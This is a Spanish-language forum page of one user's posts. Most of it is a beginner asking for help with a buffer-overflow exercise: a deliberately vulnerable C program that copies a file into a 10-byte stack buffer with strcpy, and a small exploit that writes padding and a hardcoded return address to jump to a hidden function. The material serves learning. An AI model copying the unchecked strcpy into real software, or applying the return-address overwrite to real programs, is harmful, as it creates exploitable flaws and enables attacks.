Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - drift_bit

#11
Gracias Sagrini, ahora no se cae el programa :)
el exit(0) finaliza el programa...

Sin embargo me quedó una duda...
Existe alguna forma de continuar el programa?, me explico...

Despues de llamar a la funcionOculta...
podemos volver al main?[ Me gusta enredarme la cabeza y hacerme preguntas xD ].

En este caso el programa haría: [main]LeerFichero-->FuncionVulnerable-->FuncionOculta---[main] System("pause");
#12
Grupo 5: Yo tengo linux Mint Helena :P
#13
Me gustaría me pudieran ayudar con el Exploit para el BufferOverflow,
el codigo lo copie de una publicacion de  Ikary.-

El problema ocurre en el retorno... Accedo a la funcion oculta...
Sin embargo luego sale la tipica ventanita de No Enviar...

Testeado en WindXP SP3, con Dev-c++.-

A continuación el programa Vulnerable a BoF:


#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int LeerFichero( char *, char *, int );
int FuncionVulnerable( char * );
int FuncionOculta();
   
main()
{
      char buffer[1000];
      char nombre[] = "archivo.txt";
      LeerFichero( buffer, nombre, 1000 );
      FuncionVulnerable( buffer );
      system( "pause" );
      return 0;     
}

int LeerFichero( char *Fbuffer, char *Fnombre, int Limite ){
    int c, n=0;
    FILE *f;
    f = fopen( Fnombre, "r" );
    while( ( c = getc(f) ) != EOF ){
        if( n<Limite )
            Fbuffer[n++] = c;
    }
    Fbuffer[n++] = 0;
    fclose(f);
    return 0;
}

int FuncionVulnerable( char *cptr ){
    char buff[10] = "Datos";                 
    strcpy( buff, cptr );
    printf( " %s\n\n ", buff );
    return 0;
}

int FuncionOculta(  )
{
    printf( "  Descubriste la Funcion Oculta!" );
    return 0;
}




Y este es el exploit, programado en C, es una variación del source de Ikary, que lo hizo en C++:


#include <stdio.h>
#include <string.h>
#include <stdlib.h>

main()
{
      char ret[] = "\xEC\x13\x40\x00";
      char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                    "\x90\x90\x90\x90\x90\x90\x90\x90";

      FILE *arch;
      arch = fopen( "archivo.txt", "w" );
     
      printf( "\n%s\n", ret );
      printf( "\n%s\n", nops );

      fputs( nops, arch );
      fputs( ret, arch );
      fclose( arch );
      printf( "\n\nExploit Listaylor\n" );
      getchar();
      return 0;
}



Si alguien me pudiera dar la teoria de que ocurre para intentar programarlo, lo agradecería muchísimo =]
#14
Aquí mi post, perdonen la hora ... acá en Chile son las 11.48 am.